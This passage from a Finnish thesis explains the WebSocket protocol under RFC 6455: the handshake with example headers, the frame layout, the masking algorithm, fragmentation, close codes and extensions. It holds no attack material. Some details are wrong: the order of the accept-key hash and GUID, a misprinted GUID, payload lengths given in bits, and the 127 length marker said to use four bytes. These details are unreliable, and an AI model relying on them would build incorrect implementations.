Jo tällä hetkellä on olemassa useita ohjelmistokirjastoja, jotka helpottavat websocket-rajapinnan ja protokollan käyttöä niin selaimessa kuin palvelinpuolella. Tämän tutkielman käytännön osuuden ohjelmoimiseen käytettiin Socket.io-kirjastoa selain- ja palvelinpuolella. Lisäksi palvelimen toteuttamiseen käytettiin Node.js.

Seuraavaksi esitellään websocket-protokollan määrittely kuten se on esitetty RFC-6455:ssä.

3.2. Yhteyden muodostaminen

Websocket-yhteys avataan lähettämällä palvelinohjelmalle kättelypyyntö (engl. handshake request). Asiakasohjelma aloittaa yhteyden lähettämällä avauspyynnön. Palvelin ei voi koskaan lähettää kättelypyyntöä eikä aloittaa yhteyttä. Kättelypyyntö on HTTP-protokollan mukainen GET-metodia noudattava kutsu, johon asetetaan tietyt protokollamääritelmässä määrätyt HTTP-otsakkeet. Palvelin vastaa kutsuun myös normaalilla HTTP-paluuviestillä, jonka jälkeen yhteys jatkuu käyttäen websocket-protokollaa olettaen, että yhteyden avaaminen onnistui. Koska avauspyyntö noudattaa HTTP-protokollaa, saman palvelinohjelman on mahdollista palvella sekä HTTP- että websocket-yhteyksiä vieläpä samasta portista.

Kättelyprosessissa asiakas- ja palvelinohjelma varmistavat, että molemmat ymmärtävät websocket-protokollaa. Kättelyprosessi on näkymätön sovelluskehittäjälle. Useimmat palvelinohjelmat ja kaikki protokollaa tukevat selaimet toteuttavat kättelyn eikä sovelluskehittäjän tarvitse huolehtia muusta kuin yhteyden onnistumiseen tai epäonnistumiseen reagoimisesta.

Websocket-protokollamääritelmä määrittelee kahdeksan uutta HTTP-otsaketta, jotka on listattu taulukoissa 11 ja 12. Näitä otsakkeita käytetään ainoastaan yhteyden avaamisen yhteydessä HTTP-kättelypyynnössä ja sen vastauksessa. Asiakkaan lähettämään kättelypyyntöön lisätään aina otsakkeet Sec-WebSocket-Key ja Sec-WebSocket-Version. Jos kättelypyynnön lähettää selain on pyyntöön myös lisättävä Host-otsake. Palvelimen vastausviestissä on aina otsakkeet Sec-WebSocket-Accept ja Sec-WebSocket-Version. Kättelyn pyyntö- ja vastausviesteihin ei lisätä varsinaista viestisisältöä. Kättelyprosessiin tarvittavat tiedot välitetään kokonaan HTTP-otsakkeissa. Näiden otsakkeiden lisäksi pyyntöön ja vastaukseen on lisättävä otsakkeet Connection ja Upgrade.

Otsake	Sisältö
Sec-WebSocket-Key	16-tavuinen base64 koodattu arvo
Sec-WebSocket-Version-Client	Protokollan versio
Sec-WebSocket-Extension	Lista ekstentioista
Sec-WebSocket-Protocol-Client	Lista aliprotokollista

Taulukko 11. Websocket otsakkeet asiakkaalta.

Otsake	Sisältö
Sec-WebSocket-Accept	Base64 koodattu arvo
Sec-WebSocket-Version-Server	Protokollan versio
Sec-WebSocket-Extensions	Lista ekstentioista
Sec-WebSocket-Protocol-Server	

Taulukko 12. WebSocket otsakkeet palvelimelta.

3.2.1. Asiakkaan kättely

Asiakasohjelma siis aloittaa yhteyden lähettämällä HTTP GET-kutsun palvelimelle. Protokollan määritelmän mukaan yhteys asetetaan tilaan CONNECTING. Määritelmän mukaan vain yksi yhteys kerrallaan tiettyyn URL:ään voi olla tässä tilassa. Avauskutsuun asiakas tarvitsee URL:n, joka voidaan muodostaa kahdella tavalla taulukon 13 mukaisesti.

```
ws://      isäntä      [:portti] /      Resurssi      [?parametrit]
wss://    isäntä      [:portti] /      Resurssi      [?parametrit]
```

Taulukko 13. WebSocket URL-kaavio.

URL aloitetaan joko “ws://” tai “wss://” -etuliitteellä riippuen käytetäänkö TLS/SSL-tasolla kryptattua yhteyttä vai ei. Etuliitteen jälkeen määritelty isäntä on kohdepalvelimen verkko-osoite tai mahdollisesti pelkkä IP-osoite. Portin määrittely on vaihtoehtoinen. Oletusportti on 80, jos käytetään kryptaamatonta yhteyttä, ja 443 kryptatulle. Lisäksi URL:ään lisätään polku haettuun resurssiin. Kaikkien näiden komponenttien on oltava valideja, muutoin asiakkaan on keskeytettävä yhteyden muodostaminen.

Jos samaan URL:ään on jo aloitettu yhteyden muodostaminen, eli täsmälleen samaan isäntään, porttiin ja resurssiin on olemassa yhteys tilassa CONNECTING, on uuden yhteyden odotettava kunnes edellinen yhteys on avattu, keskeytetty tai suljettu. Asiakasohjelma täytyy myös sarjallistaa useampi samaan isäntään avattu yhteys. Jos yhteys palvelinohjelmaan muodostetaan välityspalvelimen kautta, on asiakkaan lähetettävä kättelyviesti välityspalvelimelle, joka välittää kättelyn eteenpäin. Ilman välityspalvelinta websocket-yhteys muodostetaan suoran TCP-yhteyden kautta kohdepalvelimeen.

Kuten aiemmin on esitetty, yhteys on myös mahdollista avata käyttäen TLS-salaustekniikkaa. Kryptattu yhteys muodostetaan, jos URL:n alkuun on määritelty protokollan etuliitteeksi “wss”. Tässä tapauksessa ennen varsinaista yhteyden avaamista ja ennen kättelyprosessin aloittamista luodaan TLS-yhteys asiakkaan ja palvelimen välille asiaan kuuluvalla kättelymenetelmällä. WebSocket-protokollamääritelmän mukaan suositellaan, että kryptattua yhteyttä tulisi käyttää silloin, kun websocket-yhteyden avaava sivu on myös palveltu TLS-suojatulla HTTPS-protokollalla. TLS-kättelyn epäonnistuessa on myös websocket-yhteyden avaaminen keskeytettävä.

Kun TCP-yhteys URL:n määrittelemään isäntään on avattu onnistuneesti joko suojattuna TLS:n yli tai ilman, on asiakkaan lähetettävä varsinainen kättelyviesti. Kättelyviesti noudattaa HTTP-protokollan mukaista ylennysviestiä (upgrade), johon asetetaan tietyt otsikkotiedot. Osa otsakkeista on pakollisia ja osa valinnaisia.

```
GET /socket.io/1/websocket/yGs_pxC_5BsD0cLeB0P HTTP/1.1
Connection: Upgrade
Host: localhost:8001
Origin: http://localhost:8001
Sec-WebSocket-Extensions: permmessage-deflate;
client_max_window_bits, x-webkit-deflate-frame
Sec-WebSocket-Key: ez7Wn3sJiR2Q10jhUIhYQ==
Sec-WebSocket-Version: 13
Upgrade: websocket
```

Listaus 5. Esimerkki websocket-kättelypyynnöstä.

```
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
1. Sec-WebSocket-Accept: dz+1SHzmlyRgo6Wm+YSGbAJuBEw=
2. Upgrade: websocket
```

Listaus 6. Esimerkki websocket-kättelyn vastauksesta.

Kättelyviestin HTTP-metodi on aina GET. Pyynnön statusriville (listauksen 5 enimmäinen rivi) asetetaan sama resurssin nimi joka määriteltiin aiemmin URL:ssä. Pakollisia otsakkeita ovat Host, Upgrade, Connection, Sec-WebSocket-Key ja Sec-WebSocket-Version. Origin-otsake on pakollinen jos avauskutsu lähetetään selaimesta, muussa tapauksessa se on valinnainen. Myös Sec-WebSocket-Version on pakollinen otsake ja sen arvo on websocket-protokollan versionumero. Host-otsake sisältää kohdepalvelimen isännän verkko-osoitteen tai pelkän IP-osoitteen ja valinnaisesti portin. Portti ilmoitetaan isännän perässä kaksoispisteen jälkeen. Upgrade-otsakkeen tulee aina sisältää merkkijono “websocket” ja Connection-otsakkeen merkkijono “Upgrade”. Otsakkeen Sec-WebSocket-Key arvoksi asetetaan 16-tavuinen satunnaisesti generoitu arvo, joka koodataan base64-koodauksella. Tämä avain on tärkeä osa websocket-kättelyä, sillä sillä varmistetaan, että myös palvelin on ymmärtänyt websocket-kättelyn ja noudattaa virallista protokollamääritelmää.

Valinnaisia kättelyn otsakkeita ovat Sec-WebSocket-Protocol, joka sisältää pilkulla eroteltuna listan aliprotokollista, jotka asiakas ehdottaa käytettäväksi websocket-protokollan päällä ylempään sovellustason protokollana. Myös Sec-WebSocket-Extensions sisältää pilkuilla eroteltuna listan mahdollisista laajennuksista. WebSocket-protokolla antaa mahdollisuuden lisätä protokollaan laajennoksia. Laajennokset käsitellään myöhemmin. Kaikki muut HTTP-protokollan mukaiset

otsakkeet ovat myös sallittuja, kuten evästeet ja HTTP-autentikointiin liittyvä otsake WWW-Authenticate.

Kun kättelyviesti on lähetetty, asiakas jää odottamaan vastausviestiä. Asiakkaan vastuulla on vastausviestin validoiminen. Vastaus myös noudattaa HTTP-protokollan mukaista vastausviestiä (listaus 6). Onnistuneen yhteyden vastausviestin statusarvo on 101 (määritelmä: protokollien vaihto, engl. switching protocols), joka HTTP-määritelmän mukaan tarkoittaa onnistunutta protokollan vaihtoa. Jos statusarvo on jotain muuta on yhteyden muodostaminen epäonnistunut (tai palvelin ei noudata protokollamääritelmää) ja yhteys on katkaistava. Paluuviestin on myös sisällettävä Upgrade- ja Connection-otsakkeet ASCII-koodatuilla merkkijonoilla “websocket” ja “upgrade” vastaavasti. Yhteys on katkaistava jos nämä puuttuvat paluuviestistä tai jos niiden arvo on jotain muuta.

Paluuviestin on myös sisällettävä otsake Sec-WebSocket-Accept, jonka arvo määräytyy kättelyviestissä lähetetyn Sec-WebSocket-Key -otsakkeen avaimen mukaisesti. Paluarvo muodostetaan laskemalla SHA-1 -algoritmilla asiakkaan lähettämästä avaimesta hajautusarvo. Hajautusarvoon liitetään RFC-6455:n määrittelemä vakiomerkkijono 258EAF5E-E914-47DA-95CA-C5AB0DC85B11 ja näin saatu merkkijono asetetaan paluarvoksi base64-koodattuna. Muussa tapauksessa yhteys tulee katkaista. Merkkijono on RFC-4122:n mukainen globaalilla tasolla uniikki identifioija, jonka tarkoitus on taata, että vain virallista websocket-protokollaa noudattavat palvelimet palauttavat oikean paluuavaimen.

Paluuviestissä on myös valinnaisena palvelimen valitsema sovellusprotokolla ja lista laajennuksista. Palvelin voi valita yhden asiakkaan ehdottamista sovellusprotokollista ja yhden tai useamman laajennoksista. Jos asiakas ei tunne aliprotokollaa tai laajennoksia, on yhteyden muodostaminen katkaistava.

Jos palvelimen palauttama paluuviesti ei täsmää edellä esitettyjen vaatimusten kanssa, on yhteyden muodostaminen keskeytettävä. Jos paluuviesti vastaa vaatimuksia ja statusarvon mukaan yhteyden muodostaminen on onnistunut, asetetaan websocket-yhteys tilaan OPENED. Mahdolliset valitut sovellusprotokolla ja laajennokset astuvat voimaan.

3.2.2. Palvelimen kättely

Kättelyprosessi palvelimen päässä alkaa, kun palvelinohjelma vastaanottaa asiakkaalta tulleen kättelyviestin ja palvelin vastaa siihen protokollan vaatimusmääritelmän mukaisella viestillä. Kättelyviestissä on mahdollista lähettää ylimääräistä dataa, esimerkiksi käyttäjän tunnistamistietoja, mutta palvelimen on luettava ainakin pakolliset otsaketiedot kättelyviestistä, jotta kättelyprosessi onnistuu.

Käänteisvälityspalvelimia (engl. reverse proxy sever) ja kuorman tasapainottajia (engl. load balancer) voidaan käyttää websocket-palvelimen yhteydessä, jolloin välipalvelimet välittävät viestit edelleen. Palvelin voi myös uudelleenohjata yhteyden toiselle palvelimelle.

Asiakkaan lähettämän kättelyviestin on noudatettava aiemmin esiteltyä määritelmää. Palvelimen on keskeytettävä yhteyden avaaminen, jos viesti ei noudata määritelmää ja vastattava HTTP-protokollan mukaisella viestillä, jonka statusarvo vastaa virhettä. Esimerkiksi virheellisen kättelypyynnön osoittamiseksi palvelin voi asettaa statusarvon 400 (*“Bad request”*). Viestin on noudatettava HTTP-protokollan versiota 1.1 tai uudempaa GET-metodin mukaista viestiä. Kättelyviestin statusrivin URI:n tulkitaan tarkoittavan haettavaa resurssia ja viesti voi sisältää kyselyparametreja. Resurssilla ja parametreilla voidaan yksilöidä eri palveluja, joita mahdollisesti palvelee samasta isännästä. Otsakkeista Host, Upgrade, Connection, Sec-WebSocket-Key ja Sec-WebSocket-Version ovat pakollisia, ja niiden arvojen on vastattava aiemmin esitettyjä. Host-otsake sisältää palvelimen isännän verkko-osoitteen. Valinnaiset otsakkeet ovat Origin, joka on pakollinen, jos viestin lähettäjänä on selain. Jos tämä otsake puuttuu, niin lähettäjän oletetaan olevan jokin muu kuin selainohjelma. Muut valinnaiset otsakkeet ovat Sec-WebSocket-Protocol ja Sec-WebSocket-Extensions, jotka sisältävät listan sovellusprotokollista ja lisäyksistä.

WebSocket-kättely voidaan tehdä myös saapua palvelimelle kryptattuna TLS-tason yli. Tässä tapauksessa palvelin suorittaa ensin normaalin TLS-kättelyn, jonka jälkeen websocket-kättely toimitetaan salatun yhteyden yli. Jos TLS-kättely epäonnistuu, myös websocket-kättely on keskeytettävä ja palautettava virheen mukainen statusarvo paluuviestissä.

Palvelin voi myös halutessaan suorittaa muita autentikointitoimenpiteitä kättelyn yhteydessä. WebSocket-protokollassa ei ole määritely erikseen, miten autentikointi ja autorisointi suoritetaan. Tavallisia HTTP-autentikointimenetelmiä voidaan soveltaa tässä. Kättelyviestiin voidaan esimerkiksi lisätä evästeinä käyttäjän autentikointitunniste tai hyödyntää HTTP-autentikointia WWW-Authenticate -otsakkeella. Palvelimen on myös syytä tarkastaa Origin-otsakkeen sisältö, jos sellainen on saatavilla. Selainohjelmat asettavat tämän otsakkeen arvon yhteyden aloittaneen kontekstin alkuperäiseen osoitteeseen, joten lähteen tarkastaminen on tärkeä turvallisuusseikka.

Otsakkeen Sec-WebSocket-Accept arvoksi palvelimen tulee asettaa edellisessä alakohdassa esitellyn prosessin tuloksena saatu merkkijono. Kaikkien RFC-6455:n mukaista websocket-protokollamääritelmää noudattavien palvelinten tulee käyttää samaa merkkijonoa (258EAF5-E914-47DA-95CA-C5AB0DC85B11) prosessissa.

Palvelimen tulee myös tarkistaa muut pakolliset otsakkeet. Sec-WebSocket-Version-otsakkeen sisältämän version numeron on vastattava palvelimen hyväksymää protokollan versiota. Tämän hetkinen protokollan versionumero on 13. Yhteyden muodostus on lopetettava, jos asiakkaan tarjoama versio ei ole tuettu palvelimella.

Palvelin käy läpi valinnaisen otsakkeen Sec-WebSocket-Protocol listaamat sovellusprotokollat ja valitsee niistä maksimissaan yhden. Otsakkeessa Sec-WebSocket-Extension listatuista laajennoksista palvelin voi valita yhden tai useamman. Paluuviestin vastaaviin otsakkeisiin asetetaan valittu sovellusprotokolla ja lista yhdestä tai useammasta laajennoksesta. Jos palvelin ei

tue yhtäkään asiakkaan ehdottamista sovellusprotokollista tai laajennoksista, paluuviestin otsakkeiden arvoksi asetetaan merkkijono “null”. Vaikka palvelin ei tukisi mitään asiakkaan listaamista sovellusprotokollista ja laajennoksista, yhteyden muodostamista ei keskeytetä.

Onnistuneen prosessin päätteeksi palvelin lähettää asiakkaalle HTTP-mukaisen paluuviestin. Paluuviestin statusarvoksi asetetaan 101. Upgrade-otsakkeen arvoksi asetetaan “websocket” ja Connection arvoksi “upgrade”.

Onnistuneen kättelyprosessin jälkeen HTTP-yhteys muutetaan websocket-yhteydeksi ja tiedon lähettäminen voidaan aloittaa. Seuraavaksi esitellään, miten websocket-viestit kehystetään protokollamääritelmän mukaisesti.

3.3. Viestien kehystys

WebSocket-protokollan kuljetustason protokolla TCP perustuu jatkuvaan yhteyteen ja siten tiedon lähettäminen ylemmän tason protokollille näyttää tapahtuvan jatkuvana tietovirtana. WebSocket-protokolla kuitenkin käsittelee lähetettyä tietoa yksittäisinä paketteina. Paketit muodostetaan kehyksistä, joihin protokollamääritelmän mukaan lisätään tietyt otsaketiedot taulukon 14 mukaisesti.

0				16			
F	R	R	R	Opcode	M	Payload len	Pidennetty payload len -kenttä
I	S	S	S	(4)	A	(7)	(jos kentän arvo on 126 tai 127)
N	V	V	V		S		(16/64)
	1	2	3		K		
Edelleen pidennetty payload len (jos arvo on 127)							
						Masking-key	
Masking-key						Sisältödata	
Sisältödata jatkuu							

Taulukko 14. WebSocket viestien kehyskaavio.

Kehyksen ensimmäinen bitti määrää kentän FIN, joka kertoo, onko paketti mahdollisen fragmentaation viimeinen osa. WebSocket-protokollalla on mahdollista jakaa suuren määrän dataa sisältävä paketti useaksi fragmentiksi, jotka lähetetään erillisinä viesteinä. Tämä bitti saa arvon 1 aina, kun pakettia ei ole fragmentoitu.

FIN-kenttää seuraavat bitit vastaavat kenttiä RSV1, RSV2 ja RSV3. Nämä kentät ovat varattu laajennoksien käyttöön. Jos laajennoksia ei ole määritely kättelyn yhteydessä, on kaikki nämä asetettava arvoon 0. Kenttien tulkinta riippuu laajennoksien määrittelyistä. Jos saapuneessa paketissa jokin näistä kentistä on asetettu tilaan 1, mutta lisäyksiä ei ole otettu käyttöön kättelyn yhteydessä on websocket-yhteys katkaistava.

Seuraava kenttä OPCODE ilmoittaa paketin tyyppin. Kentän pituus on neljä bittiä ja arvot ovat ennalta määritelty tarkoittamaan tiettyä pakettityyppiä. Jos arvo on tuntematon, on yhteys katkaistava. Protokollamääritelmä huomoi seuraavat heksadesimaalina ilmoitetut arvot: arvo 0x0 osoittaa paketin olevan jatkoa edelliselle paketille, eli se on osa fragmentaatiota. Arvo 0x1 sisältää tekstidataa ja 0x2 sisältää binääridataa. Arvot 0x3-0x7 on varattu tulevaa käyttöä varten muille kuin kontrolliviesteille. Arvo 0x8 on sulkemisviesti, 0x9 ping-viesti ja 0xA pong-viesti. Loput mahdollisista arvoista 0xB-0xF on varattu tuleville kontrolliviesteille.

Mask-kenttä on pituudeltaan yhden bitin ja päälle asetettuna se ilmoittaa, että paketin varsinainen sisältö on naamioitu maskausavaimella. Tässä tapauksessa myös avain on määritelty viestin otsakkeessa. WebSocket-määrittelyn mukaan kaikki asiakasohjelman lähettämät viestit tulee naamioida ja yhtäkään palvelimen viesteistä ei tule naamioida. Jos asiakas tai palvelin vastaanottaa viestin joka on maskattu tai ei ole maskattu silloin kun pitäisi, on yhteys katkaistava. Kaikilla asiakkaan lähettämällä viestillä MASK-kenttä on siis asetettava arvoon 1 ja otsakkeen on sisällettävä maskausavain ja kaikilla palvelimen lähettämällä se tulee olla arvossa 0.

Viestin sisällön pituus ilmoitetaan otsakkeen kentässä payload len. Tämän kentän pituus voi olla joko 7 bittiä, 7+16 bittiä tai 7+64 bittiä. Jos viestin varsinainen sisältö on pituudeltaan alle 125 bittiä, ilmoitetaan pituus pelkällä seitsemällä bitillä, joka on kentässä payload len. Jos sisällön koko on suurempi ja kentän arvo on 126, niin seuraavat kaksi tavua ilmoittaa viestin pituuden. Jos arvo on 127, niin seuraavat neljä tavua ilmoittaa viestin pituuden tulkittuna yhtenä unsigned integer -tyyppisenä arvona. Viestin koko pituus on ilmoitettava tässä kentässä, siis mukaanlukien mahdollinen laajennusdata.

Maskausavain on 32-bittin arvo, joka on kehyksessä mukana, jos kenttä MASK on asetettu arvoon 1. Kaikilla asiakkaalta lähtevillä viestillä kyseinen arvo siis pitäisi olla asetettu ja maskinkey-kenttä myös asetettu kehykseen. Tällä avaimella naamioidaan kokonaisuudessaan payload-data-kentän sisältö, joka sisältää varsinaisen datan ja mahdollisen laajennusdatan. Maskausavain on 32-bittinen satunnaisluku. Avaimen satunnaisuuden on oltava riittävän voimakas, jotta seuraavan avaimen arvaaminen ei olisi mahdollista turvallisuussyistä.

Viestin sisällön naamioiseen sovelletaan seuraavaa algoritmia. Sisältö luetaan 8-bitin osissa. Jokaiseen osaan suoritetaan XOR-operaatio maskausavaimen indeksistä $i \text{ MOD } 4$, jossa i on iteraationumero eli i :s 8-bitin osa viestin sisältöä. Sama maskausalgoritmi suoritetaan samassa järjestyksessä asiakkaan päässä viestiä naamioitaessa ja palvelimen päässä viestiä purkaessa. Algoritmin suorittaminen dataan ei vaikuta sen pituuteen. Naamioimisella ei pyritä salaamaan viestin sisältöä, vaan estämään välityspalvelimia kohtaan tehtyjä hyökkäyksiä. Tietoturva-asiat esitellään myöhemmin luvussa 6.

```

u_int8 payload;
...
for (i = 0; i < length; i++)
    payload[i] ^= mask[i % 4]

```

Listaus 8. Maskausalgoritmi

Data voidaan myös fragmentoida eli lähettää useassa eri paketissa. Esimerkiksi jos viestin kirjoitushetkellä ei ole tiedossa koko viestin sisältöä tai lähetettävän datan määrä on suuri, on hyödyllistä lähettää data useassa paketissa. Viestin fragmentoimisella protokollatasolla myös vältetään puskurien käyttämisestä sovellustasolla. Viestin fragementointi aloitetaan lähettämällä viesti, jonka FIN-kentän arvoksi asetetaan 0 ja OPCODE-kentän arvoksi jokin muu kuin 0x0. Kontrolliviestejä ei kuitenkaan voi fragmentoida, joten käytännössä mahdolliset OPCODE-arvot ovat fragmenttiviesteille ovat 0x1-0x7. Tämä kertoo vastaanottajalle, että seuraavat viestit, joiden OPCODE on 0x0, ovat osa samaa viestiä. Vastaanottava pää puskuroi fragementit kunnes se vastaanottaa viestin, jonka FIN-kenttä on asetettu arvoon 1. Kaikki viestityypit on mahdollista fragementoida paitsi kontrolliviestit, mutta kontrolliviestejä on mahdollista lähettää kesken fragementoituneen viestin.

Kontrolliviesteillä välitetään tietoa yhteyden tilasta. Viestin tyyppi määritellään kentällä OPCODE, jonka arvoista 0x8 ja sitä suuremmat ovat kontrolliviestejä. Tällä hetkellä websocket-määrittelyyn kuuluu seuraavat kontrolliviestit: Close, Ping ja Pong. Close, eli sulkemisviestillä yhteys suljetaan. Ping- ja pong-viestejä käytetään yhteyden tilan määrittelemiseksi. Kumpikin asiakas- ja palvelinohjelmista voi lähettää milloin vain ping-viestin johon vastaanottajan on vastattava mahdollisimman pian pong-viestillä.

Pakettien varsinainen sisältö voi olla joko UTF-8 koodattua tekstiä tai binäärimuodossa. Viestin datatyyppi määritellään kentässä OPCODE. Arvo 0x1 vastaa tekstidataa ja 0x2 binääridataa.

Yhteyden sulkemisen merkiksi on määritelty oma viesti. Sulkemisviestin opcode on 0x8. Viestin sisältöosaan voidaan valinnaisesti liittää syy yhteyden sulkemiseksi. Jos viestiin lisätään sisältöosa on sen kaksi ensimmäistä tavua varattu sulkemiskoodille. Koodin jälkeen dataan voidaan lisätä esimerkiksi tekstinä syy yhteyden sulkemiselle.

3.4. Datat lähtäminen ja vastaanottaminen

Viestejä voidaan lähettää täysin itsenäisesti sekä asiakas- että palvelinohjelmasta onnistuneen yhteyden avaamisen jälkeen. Yhteyden täytyy olla tilassa OPEN, jotta viesti voidaan lähettää. Viestin lähettäminen on lopetettava, jos yhteys on missä tahansa muussa tilassa. Kaikki lähetettävät viestit tulee kehystää edellisessä aliluvussa esitetyn määritelmän mukaan ja kehysten kenttien arvot tulee asettaa oikein. Kuten on esitetty, yksittäinen viesti saatetaan fragmentoida useaksi erilliseksi

viestiksi. Vastaanottaja huolehtii viestifragmenttien kokoamisesta, eikä fragmentointi näy sovellustasolle.

Asiakkaan ja palvelimen lähettämässä viesteissä on kuitenkin hieman eroa. Asiakas naamioi kaikkien viestin varsinaisen sisällön aiemmin esitetyn algoritmin mukaisesti. Palvelimen ei tule koskaan naamioida viestin sisältöä. Jos kättelyssä on määritelty laajennuksia, voivat ne tuoda lisää vaatimuksia viestin rakentamiseen ja lähettämiseen.

Kun viesti on kehystetty määritelmän mukaan, se lähetetään kättelyssä avatun TCP-yhteyden yli vastaanottajalle. Viesti kulkee normaalisti TLS-tason läpi, jos kättelyssä muodostettiin salattu yhteys.

Viestien vastaanottamiseksi päätepiste kuuntelee avattua TCP-verkkopistoketta. Saapunut viesti tulee jäsentää määritelmän mukaisesti. Yhteys tulee katkaista, jos toinen päätepisteistä vastaanottaa viestin, joka ei noudata protokollamääritelmää tai kättelyssä sovittuja määritelmiä. Kontrolliviesteihin tulee reagoida määritelmän mukaisesti. Ping-viestiin tulee vastata mahdollisimman pian pong-viestillä, ja close-viestin saapuessa on aloitettava yhteyden sulkeminen.

Dataviestin saapuessa viestin sisältö tulkitaan OPCODE-kentän arvon mukaisesti. Palvelimen täytyy lisäksi purkaa viestin sisällön naamiointi aiemmin esitetyn algoritmin mukaisesti. Fragmentoituneen viestin saapuessa, eli kun FIN-kentän arvo on 0 ja OPCODE-kentän arvo ei ole 0, on viestin sisältö tallennettava puskuriin ja seuraavat fragmenttiviestit konkatenoitetaan puskuriin, kunnes fragmentin lopettava viesti saapuu. Kun lopetusviesti saapuu, ilmoitetaan saapuneesta viestistä. Laajennokset voivat myös muuttaa viestin sisällön lukemisen vaatimuksia.

3.5. Yhteyden sulkeminen

Yhteyden sulkeminen tapahtuu sulkemisprosessin kautta. Prosessi aloitetaan lähettämällä sulkemisviesti, jonka OPCODE-arvo on 0x8. Sulkemisen voi aloittaa kumpi tahansa osapuolista. Viestiin on mahdollista myös liittää sisältöosaan sulkemiskoodi, joka on kaksitavuinen integertyyppinen arvo. Koodin perään voidaan myös liittää tekstinä syy yhteyden sulkemiseksi. Viestin sisältöosassa koodin on oltava ennen mahdollista tekstiä.

Kun päätepiste vastaanottaa tai lähettää sulkemisviestin, yhteys asetetaan tilaan CLOSING. Yhteys suljetaan sulkemalla kättelyssä avattu TCP-yhteys. Mahdollinen TLS-istunto on myös suljettava asianmukaisesti ennen TCP-yhteyden sulkemista. Tavanomaisesti palvelimen tulee sulkea TCP-yhteys ennen asiakasta. Kun TCP-yhteys on suljettu asetetaan websocket-yhteys tilaan CLOSED. Viestejä ei voida lähettää eikä vastaanoteta yhteyden ollessa tilassa CLOSING tai CLOSED. Jos TCP-yhteys suljettiin websocket-sulkemisviestin prosessoimisen jälkeen, yhteys on suljettu siististi.

Sulkemisviestiin valinnaisesti liitettävällä statuskoodilla ilmoitetaan syy yhteyden sulkemiseksi. Statuskoodin puuttuessa oletusarvo on 1005. Statuskoodin perään voidaan lisätä UTF-8 koodattu merkkijono viestiksi vastapuolelle. Protokollamääritelmä ei ota kantaa tekstin sisältöön.

Websocket-yhteys on suljettava tilanteissa, joissa esimerkiksi määritelmää ei noudateta. Tällöin on lähetettävä sulkemisviesti, johon on syytä liittää kuvaava statuskoodi.

Statuskoodi kuvataan kaksitavuisella integer-arvolla. Websocket-protokollamääritelmä ehdottaa seuraavia statuskoodeja yleisimpiin tilanteisiin:

1000, normaali sulkeminen; yhteys suljettiin ilman virheitä.

1001, päätepiste "poistui"; esimerkiksi selaimen ikkuna suljettiin tai palveli sammutettiin.

1002, yhteys katkaistiin protokollavirheeseen.

1003, päätepiste vastaanotti dataa, jota se ei voi lukea.

1004, arvo varattu tulevaa käyttöä varten.

1005, myös varattu arvo, jota ei tule käyttää sovellustasolla; arvon tarkoitus on kertoa, että statuskoodia ei asetettu. Tämä on siis koodin oletusarvo.

1006 on myös varattu arvo joka ilmoittaa, että yhteys katkaistiin ilman sulkemisviestiä.

1007, virheellinen datatyyppe, esimerkiksi opcode:n mukaan tekstidatan tilalla viesti sisälsi binääridataa.

1008, vastaanotettu viesti rikkoo jotain menettelytapaa; tätä koodia voidaan käyttää yleisen virheen merkiksi.

1009, vastaanotettu viesti on liian iso prosessoitavaksi.

1010, asiakas on pyytänyt ekstensiota, jota palvelin ei ymmärrä ja sulkee yhteyden.

1011, palvelin on päätenyt odottamattomaan tilaan ja yhteys on suljettava.

1015, on varattu arvo, jolla viestitään virhettä TLS-yhteydessä, jonka johdosta websocket-yhteys on suljettava.

Loput statuskoodit on esitetty taulukossa 15.

Statuskoodi	Selitys
1000	Normaali sulkeminen
1001	Päätepiste poistui
1002	Protokollavirhe
1003	Virheellinen datamuoto
1004	(varattu arvo tulevaan käyttöön)
1005	(varattu arvo, ei koodia sovellustasolta)
1006	(varattu arvo)
1007	Virheellinen datamuoto
1008	Virheellinen viesti
1009	Liian suuri datamäärä
1010	Vaadittua laajennusta ei tuettu palvelimella (asiakkaalta)
1011	Palvelin kohtasi odottamattoman tilanteen (palvelimelta)
1015	Varattu arvo, TLS-virhe
Varatut arvovälit	
0-999	Ei käytössä
1000-2999	Protokollan käytössä
3000-3999	Sovellusten käytössä, varattavissa
4000-4999	Sovellusten käytössä, ei varattavissa

Taulukko 15. WebSocket sulkemisviestien statuskoodit.

3.6. Virheiden käsittely

Protokolla ei määrittele kattavaa prosessia virheiden käsittelemiseen ja niihin reagoimiseen. Määritelmän mukaan yhteyden muodostaminen on keskeytettävä, jos kättelyvaiheessa toinen päätepisteistä havaitsee virheitä tai puutteita määritelmän noudattamisessa. Kättelyssä tapahtuneeseen virheeseen palvelimen tulee lähettää HTTP-protokollan mukainen paluuviesti tilanteeseen sopivalla virhekoodilla. Lisäksi jos toinen päätepisteistä havaitsee, että viestin sisältö ei ole UTF-8-koodattua, on päätepuolelta suljettava yhteys.

Yhteyden aikana tapahtuneen virheen kohdalla yhteys tulee katkaista, mutta sitä ennen päätepiste voi lähettää sulkemisviestin. Viestin OPCODE-arvoksi tässä tapauksessa asetetaan 0x8. Edellisessä kohdassa on esitelty sulkemisviestit ja niihin lisättävät koodit erilaisille virhetilanteille.

3.7. Laajennokset

Websocket-protokolla sallii toteuttavien tahojen lisätä ominaisuuksia protokollaan laajennosmekaniikan avulla. Viestikehyksessä määritellyt kentät RSV1, RSV2 ja RSV3 ovat tarkoitettu laajennoksien käyttöön ja niiden arvoihin tai käyttötapauksiin protokollamääritelmä ei ota kantaa. Laajennoksen toteuttava taho vastaa kenttien arvojen tulkinnasta. Myös OPCODE-arvot 0x3 – 0x7 ja 0xB – 0xF ovat laajennosten käytettävissä protokollan nykyisessä versiossa.

Laajennokset otetaan käyttöön kättelyprosessin yhteydessä. Asiakas lähettää kättelyviestissä otsakkeessa Sec-WebScket-Extensions listan pyydetyistä laajennoksista, josta palvelin valitsee tuetut laajennokset ja liittää ne vastausviestin otsakkeeseen Sec-WebScket-Extensions. Palvelin voi olla valitsematta yhtäkään asiakkaan ehdottamista laajennoksista, jolloin yhteyttä ei kuitenkaan suljeta. Laajennosten järjestyksellä listauksessa on merkitystä. Listauksessa edellä olevien laajennosten määrittelemät toiminnot tai lisäykset kehystietoihin suoritetaan ensin ellei laajennosten määrittelyssä ole muuta esitetty. Lopullisesti voimaan tuleva järjestys on palvelimen vastauksen järjestys.

Laajennosten kättötarkoitukseen ei anneta protokollamääritelmässä täsmällisiä ohjeita. Määritelmän antavat rajoitukset liittyvät pelkästään käytettävissä oleviin otsakekenttiin ja laajennosten lisäämä data tulee liittää payload-data-kenttään ennen varsinaista sovellustason viestisisältöä.

4. Vertailu muihin tekniikoihin

